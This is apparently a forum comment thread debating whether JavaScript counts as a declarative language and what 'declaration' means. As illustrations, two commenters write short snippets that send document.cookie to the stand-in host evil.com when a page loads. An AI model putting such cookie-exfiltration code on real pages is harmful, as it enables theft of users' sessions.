Javascript is not a declarative language.
back
2 comments
There are at least two uses of "declare": one the colloquial english usage that has been around for at least hundreds of years, which roughly means "announce" or "state". The other use of declare is the much more specific programming language version which you're referring to.
Here's what the comment you're responding to said:
> They should have to declare to the browser what it is they want done instead.
Arguably it's pretty clear they meant declare in the first sense.
I'm the one who wrote the sentence you are quoting, and I most definitely meant it in the sense of "declarative language, where you say what you want and the runtime figures out how to do it internally".
Sure it is.
Here's how you can write a declaration that you want to exfiltrate cookies:
document.addEventListener("load", function(){
fetch("http://evil.com/"+document.cookie);
});That's not a declaration, that's a statement. An imperative statement, to boot. Here's what it would look like in an actual declarative language:
<body onLoad="http.GET('http://evil.com/"+document.cookie')">What do you think is the difference between a declaration and a statement?
I don't need to think, I can just look up their definitions:
https://en.wikipedia.org/wiki/Declaration_(computer_programm...:
> a declaration in a syntactic language construct is the process of specifying identifier properties for its initialization
https://en.wikipedia.org/wiki/Statement_(computer_science):
> a statement is a syntactic unit of an imperative programming language that expresses some action to be carried out